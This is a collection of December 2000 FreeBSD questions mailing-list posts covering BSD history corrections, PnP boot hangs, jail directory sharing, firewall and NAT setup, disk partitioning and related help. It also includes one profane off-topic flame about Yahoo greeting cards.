problems?

Thanks ...

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On Wednesday, 20 December 2000 at  3:34:39 -0600, Tyler K McGeorge wrote:
> On  Tuesday, December 19, 2000 2:24 AM, Mr. Makarand Kulkarni wrote:
>> Sir i want to know what is the meaning of FreeBSD, please let me
>> know its fullform
>
> University of California at Berkeley at one point in time bought the
> rights to work on UNIX from Bell Systems back in 1978.

More like 1974/1975.

> They shortly thereafter forged their own variant of UNIX which they
> called BSD (Berkeley Software Distribution).

The original BSD was released in 1977 and contained no kernel code.

> Soon after came 2BSD (which shipped 75 copie, as opposed to the 30
> shipped of BSD.) 2.8.1BSD gave way to many enhancements, and is more
> important than 3BSD in that aspect.

2BSD, which is being developed today, only runs on PDP-11s.  3BSD ran
on VAX, and was the first UNIX with virtual memory.  I can't think of
anything in 2BSD which would rival that in importance.

> 4BSD was released in 1980, 4.1BSD in 1981 (which has revisions made
> between 82 and 83), 4.2 in 83,

4.3BSD in June 1986.

> and finally 4.4BSD in 93. (I think some of those dates are
> inaccurate, but I only have one source on this at the moment.))

The year is right.  For more details, look at
/usr/share/misc/bsd-family-tree.

> After 4.4BSD, UCB was forced to become BSDI, which is now a major
> non-free Unix.

This is not correct.  BSDI was formed in 1981 by some ex-CSRG people.
CSRG closed down in 1994, I think.  BSDI make BSD/OS.

> Using 4.4BSD, there have been multiple offspring. OpenBSD, NetBSD,
> FreeBSD and BSD Lite.

NetBSD and FreeBSD originally started on a 4.3BSD Net/2 base.

> Open referring to Open source, Net referring to Networking based and
> Free being without cost.

The names are relatively irrelevant.  The term "OpenBSD" was coined
before the term "Open source", so your derivation is impossible.  All
three are free open source operating systems with networking.

> BSD Lite is a small version of BSD (never really had much experience
> with anything but FBSD.)

4.4BSD contains AT&T code.  You need a UNIX source license (now
available for free from SCO) to get it.  4.4BSD-Lite was an incomplete
operating system created by removing the AT&T code from 4.4BSD.  It
was the base for FreeBSD 2.0 and NetBSD 1.0.

> And if the rumors I've heard have any validity, I hear FBSD 5.0 is
> planning on united OBSD, NBSD and FBSD. Yay!

The rumours you have heard have no validity whatsoever.

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You might also want to try 'ntop' from the ports tree. MRTG is great, but
setting up SNMP on your FreeBSD box might not be worth the trouble.

-Adam

On Wed, 20 Dec 2000 mark_wright@datacard.com wrote:

> Date: Wed, 20 Dec 2000 13:29:17 -0600
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> 
> Is there a utility I can use to determine how congested our internet connection
> is?  I've got a FreeBSD box that's serving as a NAT gateway for our LAN and I'd
> like to know how much we are utilizing our T1.  Ideal would be something like
> uptime - average load over the last 1, 5 and 15 minutes.
> 
> Mark.
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> > I was
> > wondering if anyone knew of a way to fix this, or if
> > it will be fixed in the base system, or if there is
> > some way to completely disable PNP in 4.2.
> 
> There are no known problems with PnP in 4.2, so there's nothing that's 
> going to be fixed unless we can characterise your problem here.

I'm confused.  Others have reported numerous bugs and/or misfeatures
with the current code (including it failing on at least one ThinkPad
laptop).


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> > > I was
> > > wondering if anyone knew of a way to fix this, or if
> > > it will be fixed in the base system, or if there is
> > > some way to completely disable PNP in 4.2.
> > 
> > There are no known problems with PnP in 4.2, so there's nothing that's 
> > going to be fixed unless we can characterise your problem here.
> 
> I'm confused.  Others have reported numerous bugs and/or misfeatures
> with the current code (including it failing on at least one ThinkPad
> laptop).

There's a great deal of confusion between "ISA PnP", "BIOS PnP", and 
"Side-effects of BIOS PnP", as well as "reports that something might be 
failing" and "known problems".

The Thinkpad problem appears to be a side-effect of calling the BIOS PnP
interface, but hasn't been characterised.  The problem above may or may
not actually be PnP related at all.  There are bugs in the PnP
implementation that I've left out of the discussion here because they're
not really relevant to the issue. 

Perhaps it would be fairer to say "if what you're reporting is really 
a lockup during the ISA PnP probe, then there are no known problems 
related to that feature and thus no plans to fix it at this time".

Right now, however, the problem report does not contain enough detail to 
guess at what is going wrong, let alone why.



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* The Hermit Hacker <scrappy@hub.org> [001220 17:21] wrote:
> 
> Morning all ...
> 
> 	I'm trying to figure out a way fo cleanly sharing directories
> betwen jail environments, and am running against a few 'brick walls', and
> am wondering if anyone has any ideas ...
> 
> 	Right now, I have a server that has 30 jail environments
> configured onto it ... works great, but I'd like to work on reducing some
> of the duplication of files, if I can, so that I don't have to upgrade 30
> servers when I need to upgrade a piece of software, or, at the very least,
> not have 30+ /usr/ports to update ...
> 
> 	Now, someone had one suggested a hard link, but you can't do that
> with directories according to the docs, so that idea is out ... and a
> symlink won't go "through" the chroot() environment ... 

Actually, you just make a skeleton directory tree for each user,
then just hardlink the files.

Make sure you chflags the files so that people can't mess with them.
As long as the directories are owned by the individual user they can
remove files, but they won't be able to modify the contents unless they
unlink them.

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> > > > I was
> > > > wondering if anyone knew of a way to fix this, or if
> > > > it will be fixed in the base system, or if there is
> > > > some way to completely disable PNP in 4.2.
> > > 
> > > There are no known problems with PnP in 4.2, so there's nothing that's 
> > > going to be fixed unless we can characterise your problem here.
> > 
> > I'm confused.  Others have reported numerous bugs and/or misfeatures
> > with the current code (including it failing on at least one ThinkPad
> > laptop).
> 
> There's a great deal of confusion between "ISA PnP", "BIOS PnP", and 
> "Side-effects of BIOS PnP", as well as "reports that something might be 
> failing" and "known problems".

Obviously. :)

> The Thinkpad problem appears to be a side-effect of calling the BIOS PnP
> interface, but hasn't been characterised.  The problem above may or may
> not actually be PnP related at all.  There are bugs in the PnP
> implementation that I've left out of the discussion here because they're
> not really relevant to the issue. 

Thanks for clarifying!

> Perhaps it would be fairer to say "if what you're reporting is really 
> a lockup during the ISA PnP probe, then there are no known problems 
> related to that feature and thus no plans to fix it at this time".

Except that it locks up, so there is apparently a problem (if this is
indeed the case).  Just because it works for most people doesn't mean
it's not broken.

When I maintained the laptop stuff, too often it was easy to claim
'broken laptops' for our bugs, but more often than not the bugs turned
out to be FreeBSD doing something that 'most laptops didn't seem to
mind', but was in fact wrong.



Nate


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I have been reading this stuff & really do not know y
many intelligent people r mis-quoting the writer/The
writer did not say there where no christian cards in
the holiday section/The writer is RIGHT/I went thru
December 25 section which is Christmas for
christians/There is not 1/the other religions r there,
in that same category & have their own section, just
like the writer said/The wise men or baby Jesus cards
r in another category in the "Religious" section off 2
the left hand-side title bar/The writer is telling the
truth/The writer did not say America's only religion
was Christian/It said just the opposite, & I quote:
"...section away from the AMERICAN RELIGIOUS HOLIDAYS,
LIKE THE OTHER ONES THEY LISTED"/Read it again/The
writer did not say they where putting r name 2 their
email as fellow christians, it said as 'supporters of
Yahoo'/Which we r, I checked it out/I think the writer
is funny & was responding back 2 all the nasty emails
with the same humor used/It is refreshing 2 know there
r normal people out there who r christians 2, instead
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From owner-freebsd-questions  Wed Dec 20 18:10:30 2000
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Heya all,

I'm having some strange problems with wu-imap - I'm using qmail, and I've 
switched to its mailbox format, the name of which escapes me at the moment,
and set up symlinks from user accounts to the Mailbox file in home directories.
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prematurely.  I found this in the maillog:

/usr/local/libexec/mlock[11405]: (64) name not regular file

I assume this is complaining about /var/mail/username being a symlink, but
is there any way around this?  Anyone had similar problems?

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Hello,

I need some help setting up a basic firewall (using /etc/rc.firewall
and /etc/rc.conf).

Here's what I have:

1) Modem connection to internet with dynamic ip (external serial modem).
2) Network card to internal network set to ip address 192.168.0.1
   (NE2000/ Linksys Card detected as "dc0" in FreeBSD)

Also, I'm using "nat(d)", so my modem becomes "tun0".

ifconfig yields:
dc0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        inet 192.168.0.1 netmask 0xffffff00 broadcast 192.168.0.255
        ether 00:a0:cc:e4:1f:56
        media: autoselect (100baseTX) status: active
        supported media: autoselect 100baseTX <full-duplex> 100baseTX
10baseT/UTP <full-duplex> 10baseT/UTP 100baseTX <hw-loopback> none
ds0: flags=8008<LOOPBACK,MULTICAST> mtu 65532
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
        inet 127.0.0.1 netmask 0xff000000
ppp0: flags=8010<POINTOPOINT,MULTICAST> mtu 1500
tun0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1500
        inet 63.166.51.125 --> 216.111.111.5 netmask 0xffffff00
        Opened by PID 7737


I have modified /etc/rc.conf to include:
firewall_enable="YES"

and I have tried:
firewall_type="simple"
firewall_type="client"

////////////////////////////////////////
In the /etc/rc.firewall file I have not been able to figure
out the following:

...
[Cc][Ll][Ii][Ee][Nn][Tt])

        # set these to your network and netmask and ip
        #net="192.0.2.0"
        #mask="255.255.255.0"
        #ip="192.0.2.1"
        net="216.111.111.5"     # internal network?
        mask="255.255.255.0"    #
        ip="63.166.51.125"              # get from "ifconfig" output?
...

...
[Ss][Ii][Mm][Pp][Ll][Ee])
...
        # set these to your outside interface network and netmask and ip
        #oif="ed0"
        #onet="192.0.2.0"
        #omask="255.255.255.240"
        #oip="192.0.2.1"

and this does not work:

        oif="tun0"                      # tun0 ?
        onet="63.166.51.125"            # ?
        omask="255.255.255.240"         # ? 255.255.255.0 ?
        oip="216.111.111.5"                     # what?

...


Any help would be greatly appreciated.
Thanks in advance,
-Sefkan

PS
Please reply directly to "sefkan@tr909.trackstar.org" if possible :)



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On Thu, Dec 21, 2000 at 11:54:27AM +1030, Greg Lehey wrote:

<snip>
> 
> 4.4BSD contains AT&T code.  You need a UNIX source license (now
> available for free from SCO) to get it.  4.4BSD-Lite was an incomplete
> operating system created by removing the AT&T code from 4.4BSD.  It
> was the base for FreeBSD 2.0 and NetBSD 1.0.
> 

	I was wondering if you could shed some light here on where to
	get this free license for 4.4BSD?  I checked at the SCO site and
	didn't see anything regarding this.  I'm just curious as to how
	4.4BSD is different with the AT&T code in place.  If you have a
	url I would appreciate seeing it.
	Thanks,
	kent

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Mark,

	Someone else had suggested Mrtg, but I believe cricket is a better product,
both will do what you
require.  Probably what you really want to do is monitor your internet
router directly, and graph
data from there.

	Cricket, cricket.sourceforge.net, requires RRDTool, which is also in ports.

	Hope that helps.

-Bob Myers


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Subject: How do I measure network load


Is there a utility I can use to determine how congested our internet
connection
is?  I've got a FreeBSD box that's serving as a NAT gateway for our LAN and
I'd
like to know how much we are utilizing our T1.  Ideal would be something
like
uptime - average load over the last 1, 5 and 15 minutes.

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On Wednesday, 20 December 2000 at 20:07:42 -0600, Jerry Dunham wrote:
> Greg Lehey babbled:
>> Date: Thu, 21 Dec 2000 11:54:27 +1030
>> On Wednesday, 20 December 2000 at  3:34:39 -0600, Tyler K McGeorge wrote:
>>
>>> After 4.4BSD, UCB was forced to become BSDI, which is now a major
>>> non-free Unix.
>>
>> This is not correct.  BSDI was formed in 1981 by some ex-CSRG people.
>> CSRG closed down in 1994, I think.  BSDI make BSD/OS.
>
> O'Really?  I didn't know BSDI was that old.  For some reason I thought it
> sprang up around 1991, not 1981.  And I thought I was beginning to get a
> feel for BSD history.  Silly me.

Oops.  Typo, of course.

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Mark,

	You could do a dump | restore, I have done this on many occasions to
recover disks.

	I think you will find it most useful for copying an entire disk while
retaining permissions.

Bob Myers

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Hi

I have machine that I would like to make a copy of the hard drive.  Any idea
what software will work or options I have.

Thanks

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On Wednesday, 20 December 2000 at 20:16:03 -0600, ktb wrote:
> On Thu, Dec 21, 2000 at 11:54:27AM +1030, Greg Lehey wrote:
>
> <snip>
>>
>> 4.4BSD contains AT&T code.  You need a UNIX source license (now
>> available for free from SCO) to get it.  4.4BSD-Lite was an incomplete
>> operating system created by removing the AT&T code from 4.4BSD.  It
>> was the base for FreeBSD 2.0 and NetBSD 1.0.
>>
>
> 	I was wondering if you could shed some light here on where to
> 	get this free license for 4.4BSD?  I checked at the SCO site and
> 	didn't see anything regarding this.  I'm just curious as to how
> 	4.4BSD is different with the AT&T code in place.  If you have a
> 	url I would appreciate seeing it.

The URL is http://www.sco.com/offers/ancient.html.  The license is
free, but you're restricted in what you can do with the code (for
example, we can't put it in FreeBSD).  The most important part of the
restrictions is:


  (b) Personal use is limited to noncommercial uses. Any such use made
      in connection with the development of enhancements or
      modifications to SOURCE CODE PRODUCTS is permitted only if (i)
      neither the results of such use nor any enhancement or
      modification so developed is intended primarily for the benefit
      of a third party and (ii) any copy of any such result,
      enhancement or modification, furnished by LICENSEE to a third
      party holder of an equivalent Software License with SCO where
      permitted by Section 8.4(b) below, is furnished for no more than
      the cost of reproduction and shipping. Any such copy that
      includes any portion of a SOURCE CODE PRODUCT shall be subject
      tothe provisions of such Section 8.4.

You might also want to look at the UNIX Heritage society at
http://minnie.cs.adfa.edu.au/TUHS/.  Amongst other things, there are
about 1.2 GB of source code there.

Note that there isn't much original AT&T code in 4.4BSD, but the
license also allows you access to any 16 bit AT&T UNIX, as well as all
BSD UNIX.

Greg
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On Thursday 21 December 2000 12:46, Mike Smith wrote:
> > > > I was
> > > > wondering if anyone knew of a way to fix this, or if
> > > > it will be fixed in the base system, or if there is
> > > > some way to completely disable PNP in 4.2.
> > > 
> > > There are no known problems with PnP in 4.2, so there's nothing 
that's 
> > > going to be fixed unless we can characterise your problem here.
> > 
> > I'm confused.  Others have reported numerous bugs and/or misfeatures
> > with the current code (including it failing on at least one ThinkPad
> > laptop).
> 
> There's a great deal of confusion between "ISA PnP", "BIOS PnP", and 
> "Side-effects of BIOS PnP", as well as "reports that something might be 
> failing" and "known problems".
> 
> The Thinkpad problem appears to be a side-effect of calling the BIOS PnP
> interface, but hasn't been characterised.  The problem above may or may
> not actually be PnP related at all.  There are bugs in the PnP
> implementation that I've left out of the discussion here because they're
> not really relevant to the issue. 
> 
> Perhaps it would be fairer to say "if what you're reporting is really 
> a lockup during the ISA PnP probe, then there are no known problems 
> related to that feature and thus no plans to fix it at this time".
> 
> Right now, however, the problem report does not contain enough detail to 
> guess at what is going wrong, let alone why.
> 
I am running a Gigabyte GA-6BXDS (not U) but I believe they are very 
similar.  I have had no problems under 4.1, 4.1.1 or 4.2.  I am running an 
AWE64 off the ISA (the AWE64 is known to be flakey) and I have run two ISA 
PnP SCSI controllers (as 3rd and 4th controllers) without any problems.

The only hang I have had is when I used a 50-25 pin converter on one of the 
ISA SCSI adaptors. Which was nothing to do with PnP.

Since your experience differs so much from mine, I would like to know the 
full configuration of your machine.

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hi sirs,

my machine is using fbsd 4.2 stable which recently updated, make world, on
19 december 2000, as well as ports tree.

a few second ago, i've got some error from building wv port. it says

===>  Building for wv-0.6.2
cc -O -pipe  -DHAVE_CONFIG_H  -I. -I./ -I./ -I./iconv/ -I./magick/ -I./expat/xmlparse/ -I/usr/local/include -I/usr/local/include -DTTFDIR=\"/usr/local/lib/wv/ttf\" -DXMLCONFIG=\"/usr/local/lib/wv/wvConfig.xml\" -DHTMLCONFIG=\"/usr/local/lib/wv/wvHtml.xml\"  -I./libole2/ -I./glib-wv/ -I./oledecod/ -c ./wvSummary.c 
In file included from ./wvSummary.c:3:
wv.h:4470: conflicting types for `read_32ubit'
/usr/local/include/wmfapi.h:26: previous declaration of `read_32ubit'
wv.h:4471: conflicting types for `read_16ubit'
/usr/local/include/wmfapi.h:27: previous declaration of `read_16ubit'
gmake: *** [wvSummary.o] Error 1
*** Error code 2

Stop in /usr/ports/textproc/wv.
*** Error code 1

Stop in /usr/ports/textproc/wv.
*** Error code 1

Stop in /usr/ports/textproc/wv.



can anyone help me please.
thanks in advance.

with best regards,
psr




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> I'm new to FreeBSD and wish to restart the sshd service.  How can I do
> this?

OpenSSH port installed /usr/local/etc/rc.d/ssh.sh script on my
machine. You give it "restart" as an argument and it does that. And if
you look at the script, passing HUP signal to sshd forces it to restart
itself as well.

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HOwdy,

I just got myself a UDMA66 controller for my P166, due to the onboard =
hdd controller dying slowly but surely.

I've plugged the card on, turned off the old controller, and then =
attached the drives... The new controller sees the drives with no =
problems (a 15 gig, and a 30 gig)

But when I come to boot the machine up, it all goes normally - finds the =
new controller card no problem; until it comes to mount the root =
partition, where I get the following;

[snip]
ad4:14594MB <ST513320A> [29691/16/63] at ata2-MASTER using DMA66
ad5:29188MB <ST330630A> [59303/16/64] at ata2-SLAVE using DMA66
Mounting root from ufs:/dev/ad0s1a
Root mount failed: 6
Mounting root from ufs:wd0s1a
Root mount failed: 6
Mounting root from ufs:ws0a

then it jumps to a "Manual root file system specification" program, and =
gives me options there, and of course, I wouldn't have a clue what to =
type for any of it

THe above happens when I try in boot -s


When I at the boot loader go to the command prompt, and do a lsdev, it =
lists the drives as;

disk1s1a:  FFS 100 MB etc etc etc


(I hope that I've included enough detail for someone to help me with my =
problem- if I need to include more detail, please tell me ;-) - I would =
like to fix/get this fixed)


regards

james



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Actually there is work being done to support winmodems on Linux. And a few
alpha/beta drivers available. Visit http://www.linmodems.org/ for more info

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Hello
I've not downloaded the FreeBSD but I want to know if it supports WinModems
like Diamond Supra2560?
Linux don't support winmodems, and I think FreeBSD don't support them
either, but only to check I've sent to you this e-mail.
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    I saw a FREEBSD program that existed as a Windows98 file. Can =
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    I'm pretty sure there are some alpha-quality drivers available for Linux, but not for FreeBSD just yet.  The UN*X community has a built-in loathing for them...

    marc.


> -----------------------------
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> Subject:  FreeBSD
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> 
> 
> Hello
> I've not downloaded the FreeBSD but I want to know if it supports =
> WinModems like Diamond Supra2560?
> Linux don't support winmodems, and I think FreeBSD don't support them =
> either, but only to check I've sent to you this e-mail.
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	If you go through sysinstall and go to the configure option, it
will let you run xfree86setup and at the end you can choose to run
xvidtune.  That will put it into your /etc/XF86Config file which will then
work that way each time.  Or you can put it into that file by hand, but I
don't know how.

							Tim
				
On Tue, 19 Dec 2000, Chip wrote:

> Thanks for all the suggestions. A kvm switch is on the way, but that has
> nothing to do with the problem at hand.
> Running xvidtune fixes the problem just fine, thankyou, except if I reboot,
> then I have to run it again. Maybe there is a file that the settings can be
> saved in?
> 
> --
> Chip
> 
> 
> Mike Batchelor wrote:
> 
> > Hey Chip,
> >
> > if you want to avoid all that changing of monitor adjustments, open xvidtune
> > under
> > X, click on AUTO and adjust the left and right settings to your desire.
> > Then click NEXT for the next resolution. this should solve your problem
> >
> > Mike!
> >
> > ----- Original Message -----
> > From: "Otter" <otterr@telocity.com>
> > To: "Chip" <chip@wiegand.org>; <freebsd-questions@FreeBSD.ORG>
> > Sent: Tuesday, December 19, 2000 2:49 AM
> > Subject: RE: Shared Display problem
> >
> > > Do you use one more than the other? Maybe you should just consider
> > > viewing both on one monitor. VNC is an option for going either way, or
> > > if you want to run NT, you can still get an X server up and do all
> > > your BSD work from that machine at the same time. I understand what a
> > > KVM does, but personally I think they're a pain in the ass (and prefer
> > > to live without one).
> > > -Otter
> > >
> > >
> > > }-----Original Message-----
> > > }From: chip@FreeBSD.ORG [mailto:chip@FreeBSD.ORG]On Behalf Of Chip
> > > }Sent: Tuesday, December 19, 2000 12:22 AM
> > > }To: freebsd-questions@FreeBSD.ORG
> > > }Subject: Shared Display problem
> > > }
> > > }
> > > }I have one monitor shared by two machines, this one - fbsd4.2, and a
> > > }winnt machine. When I use it with fbsd I get it all set so it is
> > > }centered
> > > }in the monitor, then when I change to NT I have to readjust
> > > }the monitor
> > > }settings to recenter it, then back again when I switch back to fbsd.
> > > }Is there a way to fix this perminantly?
> > > }
> > > }--
> > > }Chip
> > > }www.wiegand.org
> > > }
> > > }
> > > }
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For fuck's sake, a / is not a newline.  How the hell can you expect anyone
to read this crap ?  And the numbers ?  I don't read K-Rad.

> The writer did not say they where putting r name 2 their
> email as fellow christians, it said as 'supporters of
> Yahoo'

Supporters of Yahoo != Christian Supporters of Yahoo.  Your point is
invalid, because even if I was a supporter of Yahoo, which I'm not, I'm not
a Christian supporter of Yahoo, so if Yahoo carried every single card in the
world except Christian Christmas and Easter, I would not care.  Once again
it's an issue of assuming people on this list care about Christianity.
Microsoft and other crap may be offtopic for this list, but religion has
nothing to do with FreeBSD or server operating systems.  I don't email the
list saying, "IBM gives money to Christian Camps, and since you're all
atheists like me, we should boycott IBM Netfinity servers and demand they
remove any reference to FreeBSD from their pages."  That's stupid.  You're
acting stupid by emailing the list with your weird formatted defense of
someone else acting stupid.  If you want to her this woman rant, email her
privately.  See if she reads your k-rad stupidity.

Stupidity follows:

It is refreshing 2 know ther/r normal people out there who r christians
(Excuse me while I vomit)

This person linked 2 us thru Yahoo's site that advertises FreeBDS   (FreeBDS
?  Just like her misspelled email address that kept bouncing)

The FreeBSD Group is exaggerating it & making it so (Excuse us, we didn't
know this was her Christian list, we thought it was our FreeBSD list)

It is obvious the writer thought they were writing 2 a stand-alone firm like
the rest of the advertisers listed on the sameYahoo page
(Her ignorance is not our liability.)

You disgust me.  The formatting of your email makes me sick to my stomach.

> I have been reading this stuff & really do not know y
> many intelligent people r mis-quoting the writer/The
> writer did not say there where no christian cards in
> the holiday section/The writer is RIGHT/I went thru
> December 25 section which is Christmas for
> christians/There is not 1/the other religions r there,
> in that same category & have their own section, just
> like the writer said/The wise men or baby Jesus cards
> r in another category in the "Religious" section off 2
> the left hand-side title bar/The writer is telling the
> truth/The writer did not say America's only religion
> was Christian/It said just the opposite, & I quote:
> "...section away from the AMERICAN RELIGIOUS HOLIDAYS,
> LIKE THE OTHER ONES THEY LISTED"/Read it again/
>/Which we r, I checked it out/I think the writer
> is funny & was responding back 2 all the nasty emails
> with the same humor used/2, instead
> of bible thumpers!//We all complain
> about microsoft,politics, yada yada/at least the
> writer is trying 2 do something/This is not an
> important issue 2 me, but the / with us/did any of you look at that Yahoo
> page?/Think about it/Anyone could email FreeBSD group
> who does not like something Yahoo does or even Silicon
> Valley 4 that matter/Boy what a mess of things a
> pissed off organization could make if they wanted
> 2/This was just 1 writer with 1 email/good thing this
> writer has a sense of humor is all I have 2 say!
> 5150





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On Wed, Dec 20, 2000 at 11:51:42PM -0500, Tim McMillen wrote:
> 
> 
> 	If you go through sysinstall and go to the configure option, it
> will let you run xfree86setup and at the end you can choose to run
> xvidtune.  That will put it into your /etc/XF86Config file which will then
> work that way each time.  Or you can put it into that file by hand, but I
> don't know how.
> 

	I did it once about 6 months ago so it isn't very fresh but you
	just take the mod line that xvidtune creates and look for the
	corresponding line in /etc/XF86Config and replace it.
	kent

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I appologize for my ignorance. I'm still learning. :P I've only been on the
Unix scene for six months. :-( But I try soooo hard. :-P
----- Original Message -----
From: Greg Lehey <grog@lemis.com>
To: Tyler K McGeorge <treznor@sunflower.com>
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> [Format recovered--see http://www.lemis.com/email/email-format.html]
>
> Please don't write one line per paragraph.
>
> On Wednesday, 20 December 2000 at  3:34:39 -0600, Tyler K McGeorge wrote:
> > On  Tuesday, December 19, 2000 2:24 AM, Mr. Makarand Kulkarni wrote:
> >> Sir i want to know what is the meaning of FreeBSD, please let me
> >> know its fullform
> >
> > University of California at Berkeley at one point in time bought the
> > rights to work on UNIX from Bell Systems back in 1978.
>
> More like 1974/1975.
>
> > They shortly thereafter forged their own variant of UNIX which they
> > called BSD (Berkeley Software Distribution).
>
> The original BSD was released in 1977 and contained no kernel code.
>
> > Soon after came 2BSD (which shipped 75 copie, as opposed to the 30
> > shipped of BSD.) 2.8.1BSD gave way to many enhancements, and is more
> > important than 3BSD in that aspect.
>
> 2BSD, which is being developed today, only runs on PDP-11s.  3BSD ran
> on VAX, and was the first UNIX with virtual memory.  I can't think of
> anything in 2BSD which would rival that in importance.
>
> > 4BSD was released in 1980, 4.1BSD in 1981 (which has revisions made
> > between 82 and 83), 4.2 in 83,
>
> 4.3BSD in June 1986.
>
> > and finally 4.4BSD in 93. (I think some of those dates are
> > inaccurate, but I only have one source on this at the moment.))
>
> The year is right.  For more details, look at
> /usr/share/misc/bsd-family-tree.
>
> > After 4.4BSD, UCB was forced to become BSDI, which is now a major
> > non-free Unix.
>
> This is not correct.  BSDI was formed in 1981 by some ex-CSRG people.
> CSRG closed down in 1994, I think.  BSDI make BSD/OS.
>
> > Using 4.4BSD, there have been multiple offspring. OpenBSD, NetBSD,
> > FreeBSD and BSD Lite.
>
> NetBSD and FreeBSD originally started on a 4.3BSD Net/2 base.
>
> > Open referring to Open source, Net referring to Networking based and
> > Free being without cost.
>
> The names are relatively irrelevant.  The term "OpenBSD" was coined
> before the term "Open source", so your derivation is impossible.  All
> three are free open source operating systems with networking.
>
> > BSD Lite is a small version of BSD (never really had much experience
> > with anything but FBSD.)
>
> 4.4BSD contains AT&T code.  You need a UNIX source license (now
> available for free from SCO) to get it.  4.4BSD-Lite was an incomplete
> operating system created by removing the AT&T code from 4.4BSD.  It
> was the base for FreeBSD 2.0 and NetBSD 1.0.
>
> > And if the rumors I've heard have any validity, I hear FBSD 5.0 is
> > planning on united OBSD, NBSD and FBSD. Yay!
>
> The rumours you have heard have no validity whatsoever.
>
> Greg
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Subject: Re: 4.1.1 and 4.2 halt when booting, Gigabyte GA-6BXU 
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> Can you be more specific about this?  At which
> point, exactly, is the 
> system hanging?  A transcript of the console output
> would be handy.

During boot up, when it is probing devices. With the
kernel -v it goes to isa something pnp something I
believe, sorry, that's the best I can do
unfortunately. I know a transcript would be handy, but
it's a live server unfortunately, and it is once again
running 4.1, as 4.1.1 and 4.2 are where the errors
were.
 
> Note that the PnP probe message actually preceeds a
> pile of other things 
> which can also fail; don't make the assumption that
> just because it's 
> said "PnP" that that's what's going on. 8)

Yeah, well I figured the -v would be as specific as I
could get it, which is why I posted to the list. =) It
is for sure one of the messages that only comes out
when verbose is on, unfortunately I'm away from an
actual FreeBSD machine or I would re-boot mine with -v
to give you the actual message, but it's christmas
time and I'm on a *gah* Windows ME machine.

> There are no known problems with PnP in 4.2, so
> there's nothing that's 
> going to be fixed unless we can characterise your
> problem here.

If you can't turn PnP totally off, then there's a
problem. =) I know the problem is somewhere since in
4.1 the system works without a hitch, and 4.1.1 kills
it, as did 4.2, but you could be right that it isn't
PnP, but how can I find out what it is? I can always
pop in a 4.1.1 cd(with alot of talking into it) and
try. I've already done the 'disable all devices that
you don't need', and the 'disable all devices except
the monitor and keyboard and npx' bit too. Gotta go,
talk with you later.


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Hello all.
I'm sorry if this sound so stupid.
As I have mentioned in other email I'm "new" to FreeBSD and Unix.
I'm styding the book "The Complete FreeBSD" for version 3.2 but I 
definitely feel very slow and stupid since I don't understand some very 
very basic things on what's going on , what do you affect, what are the 
tools to use(maybe the problem when you come from other OS like Wxx).

An example of this (don't laugh too loud please)

I'm using a PII 350Mhz, 128RAM,1 Hd 8GB for studying and learning. I wanted 
to upgrade to the latest version of sendmail, so I entered to the 
FreeBSD.ORG site, looked for the port and that pointed me to the site of 
SENDMAIL.ORG. I downloaded the archive of the latest version to my machine 
but then I felt very stupid since I didn't know what else to do, I mean, I 
know I had to compile and install the program but I didn't knew what to do 
(I have to confese that I just wanted to use the command pkg_add to install 
it).... Just to be short after 5 minutes of that my machine wasn't able to 
run sendmail anymore since I did something when I tried to installed that 
cause that the sendmail daemon coul not start.
Just after reading a lot in the book and the sendmail site my sendmail is 
running but still I'm not sure if it is working that new version .... I 
learned a very hard lesson... I need to know some more basic things on how 
things really work there (FreeBSD). I know that maybe could take me years 
but I want to become profficient with this great Operating System and I 
commited to learn and study all the material I could.
My question is:
For stupid and slow people like me , What would be your suggestions on the 
steps to follow to learn the basics ? Any Internet resources for very slow 
begginers? Any other books?.

Thanks in advance for your advice and patient and I'm sorry for the english.

JB



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> > Perhaps it would be fairer to say "if what you're reporting is really 
> > a lockup during the ISA PnP probe, then there are no known problems 
> > related to that feature and thus no plans to fix it at this time".
> 
> Except that it locks up, so there is apparently a problem (if this is
> indeed the case).  Just because it works for most people doesn't mean
> it's not broken.

So far we have "a symptom".  We don't even know what it's related to.  
That doesn't give us a "known problem with PnP"; my point in the original 
response was that since we don't have any known problems with PnP, there 
isn't any fixing planned right now.

I didn't mean to imply that if we can work out what's wrong, we won't fix 
it - that'd be silly.  Just like if I had any damn idea where to start 
with the Thinkpad/PnP BIOS issue, I'd be trying to track it down.  That 
one has me really puzzled.

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Howdy,

I'm currently re-working the CCFA website an investigating their web
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I'm looking at:
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The link to us on this page should point to: http://www.ccfa.org.au/

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I normally create separate partitions for /, /usr, /var. Since I only use
ultra-wide SCSI, I usually toss on a separate disk for /tmp - but I've been
known to create partitions on the main disk for /tmp. Naturally, <swap> is a
separate partition. I do this for a number of reasons - primarily, for
mounting purposes:

/ - 50Mb - since practically nothing is held open for writing, / usually
doesn't require much of an fsck in the rare case of an unplanned reboot. It
also encourages me not to log in and work as root. :)

/usr - 4+ Gb - mounted separately so it can be mounted read-only on secure
systems. (it's habit for me to create a separate partition for this, but I
suppose you could leave this in the same partition as /)

/usr/src - 2Gb (and usually on a separate drive) - I had an extra drive, and
there wasn't any point in wasting space on the main drive. Not entirely
necessary... I use this partition to compile everything (/usr/src/projects
and /usr/src/ports reside here)

/var - 128Mb - kept separate since it *usually* has open files on it. If the
system goes down, it doesn't take other partitions with it, since this (and
/home) are the only partitions with stuff open

/tmp - usually on a separate drive.  The only reason I do this is because
50Mb isn't much, especially when it starts half full. I put it on a separate
drive because I prefer to keep a working OS on a single physical disk, so I
offload anything not absolutely vital to other disks. I don't have any
problem with /usr/src and /tmp sharing a physical disk.

/home - _always_ on a separate drive. In case I need to migrate, I just pull
the drive out. A holdover from when my main server OS was WinNT. Has come in
handy though, particularly when I migrated from Linux to FreeBSD.

Seth Henry
jshenry@net-noise.com

> In Chapter 5 , Where to put /var and /tmp section:-
> "  If we don't specify anything else, /var & /tmp will end up
> on the /root
> file system,which
> isn't enormous. If we leave things like that,there's a very
> good chance that
> the root file
> system will fillup"   WHY ?
> Do it good to create separate partition for /var & /tmp like
> / & swap ?

I don't speak for Greg, but I think he suggests creating a single partition.
I know there are arguments back and forth, but I think the old argument is
root gets very little write access, and therefore should be seperate from
/var, /etc, etc.  Perhaps to prevent the root from crashing with another
parition.

I myself just use a single partition.  Supposedly with the newer
harddrives/computers, there is less reason to break up into multiple
partitions.  Greg could explain this much better.

That said, I am only running a gateway.  There may be valid reasons to break
up into mulitple partitions, especially if this is for mission critical use.

I am sure someone will provide a more detailed rational.  Also check the
message archives, I have seen this thread before.

